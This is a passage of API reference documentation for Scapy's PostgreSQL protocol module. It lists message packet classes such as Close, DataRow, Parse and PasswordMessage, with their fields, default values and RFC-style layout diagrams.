 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|      TAG      |                      LEN                      |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |   CLOSE TYPE  |           STATEMENT           |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                            Fig. Close                            


Close fields






	tag

	ByteTagField

	67



	len

	FieldLenField

	None



	close_type

	CharEnumField

	b'S'



	statement

	StrNullField

	b''















	
class scapy.contrib.postgres.CloseComplete(_pkt, /, *, tag=51, len=4)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/postgres.py#L438-L443]

	Bases: _ZeroPadding


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|      TAG      |                      LEN                      |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |
+-+-+-+-+-+-+-+-+

                        Fig. CloseComplete                        


CloseComplete fields






	tag

	ByteTagField

	51



	len

	SignedIntField

	4















	
class scapy.contrib.postgres.ColumnDescription(_pkt, /, *, col=None, tableoid=0, colno=0, typeoid=0, typelen=0, typemod=0, format=0)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/postgres.py#L275-L285]

	Bases: _ZeroPadding


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|              COL              |            TABLEOID           |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                               |             COLNO             |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                            TYPEOID                            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|            TYPELEN            |            TYPEMOD            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                               |             FORMAT            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                      Fig. ColumnDescription                      


ColumnDescription fields






	col

	StrNullField

	None



	tableoid

	SignedIntField

	0



	colno

	SignedShortField

	0



	typeoid

	SignedIntField

	0



	typelen

	SignedShortField

	0



	typemod

	SignedIntField

	0



	format

	SignedShortField

	0















	
class scapy.contrib.postgres.CommandComplete(_pkt, /, *, tag=67, len=None, cmdtag=b'')[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/postgres.py#L238-L246]

	Bases: _ZeroPadding


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|      TAG      |                      LEN                      |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |             CMDTAG            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                       Fig. CommandComplete                       


CommandComplete fields






	tag

	ByteTagField

	67



	len

	FieldLenField

	None



	cmdtag

	StrLenField

	b''















	
class scapy.contrib.postgres.CopyBothResponse(_pkt, /, *, tag=87, len=None, format=0, ncols=0, cols=[])[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/postgres.py#L716-L731]

	Bases: _ZeroPadding


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|      TAG      |                      LEN                      |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |     FORMAT    |             NCOLS             |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|              COLS             |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                      Fig. CopyBothResponse                       


CopyBothResponse fields






	tag

	ByteTagField

	87



	len

	FieldLenField

	None



	format

	ByteField

	0



	ncols

	ShortField

	0



	cols

	FieldListField

	[]















	
class scapy.contrib.postgres.CopyData(_pkt, /, *, tag=100, len=None, data=None)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/postgres.py#L632-L640]

	Bases: _ZeroPadding


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|      TAG      |                      LEN                      |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |              DATA             |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                          Fig. CopyData                           


CopyData fields






	tag

	ByteTagField

	100



	len

	FieldLenField

	None



	data

	StrLenField

	None















	
class scapy.contrib.postgres.CopyDone(_pkt, /, *, tag=99, len=4)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/postgres.py#L643-L648]

	Bases: _ZeroPadding


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|      TAG      |                      LEN                      |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |
+-+-+-+-+-+-+-+-+

                          Fig. CopyDone                           


CopyDone fields






	tag

	ByteTagField

	99



	len

	SignedIntField

	4















	
class scapy.contrib.postgres.CopyFail(_pkt, /, *, tag=102, len=None, reason=None)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/postgres.py#L651-L659]

	Bases: _ZeroPadding


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|      TAG      |                      LEN                      |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |             REASON            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                          Fig. CopyFail                           


CopyFail fields






	tag

	ByteTagField

	102



	len

	FieldLenField

	None



	reason

	StrLenField

	None















	
class scapy.contrib.postgres.CopyInResponse(_pkt, /, *, tag=71, len=None, format=0, ncols=0, cols=[])[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/postgres.py#L680-L695]

	Bases: _ZeroPadding


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|      TAG      |                      LEN                      |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |     FORMAT    |             NCOLS             |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|              COLS             |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                       Fig. CopyInResponse                        


CopyInResponse fields






	tag

	ByteTagField

	71



	len

	FieldLenField

	None



	format

	ByteField

	0



	ncols

	ShortField

	0



	cols

	FieldListField

	[]















	
class scapy.contrib.postgres.CopyOutResponse(_pkt, /, *, tag=72, len=None, format=0, ncols=0, cols=[])[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/postgres.py#L698-L713]

	Bases: _ZeroPadding


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|      TAG      |                      LEN                      |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |     FORMAT    |             NCOLS             |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|              COLS             |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                       Fig. CopyOutResponse                       


CopyOutResponse fields






	tag

	ByteTagField

	72



	len

	FieldLenField

	None



	format

	ByteField

	0



	ncols

	ShortField

	0



	cols

	FieldListField

	[]















	
class scapy.contrib.postgres.DataRow(_pkt, /, *, tag=68, len=None, numfields=0, data=[])[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/postgres.py#L306-L320]

	Bases: _ZeroPadding


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|      TAG      |                      LEN                      |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |           NUMFIELDS           |      DATA     |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |
+-+-+-+-+-+-+-+-+

                           Fig. DataRow                           


DataRow fields






	tag

	ByteTagField

	68



	len

	FieldLenField

	None



	numfields

	FieldLenField

	0



	data

	PacketListField

	[]















	
class scapy.contrib.postgres.Describe(_pkt, /, *, tag=68, len=None, close_type=b'S', statement=b'')[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/postgres.py#L446-L455]

	Bases: _ZeroPadding


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|      TAG      |                      LEN                      |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |   CLOSE TYPE  |           STATEMENT           |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                          Fig. Describe                           


Describe fields






	tag

	ByteTagField

	68



	len

	FieldLenField

	None



	close_type

	CharEnumField

	b'S'



	statement

	StrNullField

	b''















	
class scapy.contrib.postgres.EmptyQueryResponse(_pkt, /, *, tag=73, len=4)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/postgres.py#L458-L463]

	Bases: _ZeroPadding


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|      TAG      |                      LEN                      |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |
+-+-+-+-+-+-+-+-+

                     Fig. EmptyQueryResponse                      


EmptyQueryResponse fields






	tag

	ByteTagField

	73



	len

	SignedIntField

	4















	
class scapy.contrib.postgres.ErrorResponse(_pkt, /, *, tag=69, len=None, error_fields=[], terminator=None)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/postgres.py#L354-L368]

	Bases: _ZeroPadding


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|      TAG      |                      LEN                      |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |          ERROR FIELDS         |   TERMINATOR  |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                        Fig. ErrorResponse                        


ErrorResponse fields






	tag

	ByteTagField

	69



	len

	FieldLenField

	None



	error_fields

	FieldListField

	[]



	terminator

	ByteField

	None















	
class scapy.contrib.postgres.ErrorResponseField(name: str, default: I | None, fmt: str = 'H', remain: int = 0)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/postgres.py#L346-L351]

	Bases: StrNullField


	
m2i(pkt, x)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/postgres.py#L347-L351]

	Unpack into a tuple of Field, Value.










	
class scapy.contrib.postgres.Execute(_pkt, /, *, tag=69, len=None, portal=b'', rows=0)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/postgres.py#L523-L535]

	Bases: _ZeroPadding


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|      TAG      |                      LEN                      |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |             PORTAL            |      ROWS     |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                                               |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                           Fig. Execute                           


Execute fields






	tag

	ByteTagField

	69



	len

	FieldLenField

	None



	portal

	StrNullField

	b''



	rows

	SignedIntField

	0















	
class scapy.contrib.postgres.Flush(_pkt, /, *, tag=72, len=4)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/postgres.py#L466-L471]

	Bases: _ZeroPadding


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|      TAG      |                      LEN                      |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |
+-+-+-+-+-+-+-+-+

                            Fig. Flush                            


Flush fields






	tag

	ByteTagField

	72



	len

	SignedIntField

	4















	
class scapy.contrib.postgres.FunctionCallResponse(_pkt, /, *, tag=86, len=None, result_len=None, result=None)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/postgres.py#L603-L612]

	Bases: _ZeroPadding


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|      TAG      |                      LEN                      |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |           RESULT LEN          |     RESULT    |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |
+-+-+-+-+-+-+-+-+

                    Fig. FunctionCallResponse                     


FunctionCallResponse fields






	tag

	ByteTagField

	86



	len

	FieldLenField

	None



	result_len

	FieldLenField

	None



	result

	StrLenField

	None















	
class scapy.contrib.postgres.GSSENCRequest(_pkt, /, *, len=8, request_code=80877104)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/postgres.py#L672-L677]

	Bases: Packet


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                              LEN                              |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                          REQUEST CODE                         |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                        Fig. GSSENCRequest                        


GSSENCRequest fields






	len

	SignedIntField

	8



	request_code

	SignedIntField

	80877104















	
class scapy.contrib.postgres.KeepAlive(_pkt, /, *, len=4)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/postgres.py#L52-L56]

	Bases: Packet


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                              LEN                              |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                          Fig. KeepAlive                          


KeepAlive fields






	len

	SignedIntField

	4















	
class scapy.contrib.postgres.NegotiateProtocolVersion(_pkt, /, *, tag=118, len=None, min_minor_version=0, unrecognized_options=0, option=None)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/postgres.py#L590-L600]

	Bases: _ZeroPadding


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|      TAG      |                      LEN                      |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |               MIN MINOR VERSION               |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |              UNRECOGNIZED OPTIONS             |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |             OPTION            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                  Fig. NegotiateProtocolVersion                   


NegotiateProtocolVersion fields






	tag

	ByteTagField

	118



	len

	FieldLenField

	None



	min_minor_version

	SignedIntField

	0



	unrecognized_options

	SignedIntField

	0



	option

	StrNullField

	None















	
class scapy.contrib.postgres.NoData(_pkt, /, *, tag=110, len=4)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/postgres.py#L474-L479]

	Bases: _ZeroPadding


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|      TAG      |                      LEN                      |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |
+-+-+-+-+-+-+-+-+

                           Fig. NoData                            


NoData fields






	tag

	ByteTagField

	110



	len

	SignedIntField

	4















	
class scapy.contrib.postgres.NoticeResponse(_pkt, /, *, tag=78, len=None, notice_fields=[], terminator=None)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/postgres.py#L556-L570]

	Bases: _ZeroPadding


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|      TAG      |                      LEN                      |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |         NOTICE FIELDS         |   TERMINATOR  |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                       Fig. NoticeResponse                        


NoticeResponse fields






	tag

	ByteTagField

	78



	len

	FieldLenField

	None



	notice_fields

	FieldListField

	[]



	terminator

	ByteField

	None















	
class scapy.contrib.postgres.NotificationResponse(_pkt, /, *, tag=65, len=None, process_id=0, channel=None, payload=None)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/postgres.py#L573-L587]

	Bases: _ZeroPadding


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|      TAG      |                      LEN                      |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |                   PROCESS ID                  |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |            CHANNEL            |    PAYLOAD    |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |
+-+-+-+-+-+-+-+-+

                    Fig. NotificationResponse                     


NotificationResponse fields






	tag

	ByteTagField

	65



	len

	_FieldsLenField

	None



	process_id

	SignedIntField

	0



	channel

	StrNullField

	None



	payload

	StrNullField

	None















	
class scapy.contrib.postgres.ParameterDescription(_pkt, /, *, tag=116, len=None, dtypes_len=0, dtypes=[])[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/postgres.py#L615-L629]

	Bases: _ZeroPadding


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|      TAG      |                      LEN                      |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |           DTYPES LEN          |     DTYPES    |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |
+-+-+-+-+-+-+-+-+

                    Fig. ParameterDescription                     


ParameterDescription fields






	tag

	ByteTagField

	116



	len

	FieldLenField

	None



	dtypes_len

	SignedShortField

	0



	dtypes

	FieldListField

	[]















	
class scapy.contrib.postgres.ParameterStatus(_pkt, /, *, tag=83, len=None, parameter=b'', value=b'')[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/postgres.py#L205-L224]

	Bases: _ZeroPadding


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|      TAG      |                      LEN                      |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |           PARAMETER           |     VALUE     |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |
+-+-+-+-+-+-+-+-+

                       Fig. ParameterStatus                       


ParameterStatus fields






	tag

	ByteTagField

	83



	len

	FieldLenField

	None



	parameter

	StrNullField

	b''



	value

	StrNullField

	b''















	
class scapy.contrib.postgres.Parse(_pkt, /, *, tag=80, len=None, destination=b'', query=b'', num_param_dtypes=None, params=[])[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/postgres.py#L506-L520]

	Bases: _ZeroPadding


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|      TAG      |                      LEN                      |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |          DESTINATION          |     QUERY     |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |        NUM PARAM DTYPES       |     PARAMS    |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |
+-+-+-+-+-+-+-+-+

                            Fig. Parse                            


Parse fields






	tag

	ByteTagField

	80



	len

	FieldLenField

	None



	destination

	StrNullField

	b''



	query

	StrNullField

	b''



	num_param_dtypes

	FieldLenField

	None



	params

	FieldListField

	[]















	
class scapy.contrib.postgres.ParseComplete(_pkt, /, *, tag=49, len=4)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/postgres.py#L482-L487]

	Bases: _ZeroPadding


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|      TAG      |                      LEN                      |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |
+-+-+-+-+-+-+-+-+

                        Fig. ParseComplete                        


ParseComplete fields






	tag

	ByteTagField

	49



	len

	SignedIntField

	4















	
class scapy.contrib.postgres.PasswordMessage(_pkt, /, *, tag=112, len=None, password=None)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/postgres.py#L538-L553]

	Bases: _ZeroPadding

Identifies the message as a password response.
Note that this is also used for GSSAPI, SSPI and SASL
response messages. The exact message type can be deduced
from the context.


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|      TAG      |                      LEN                      |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
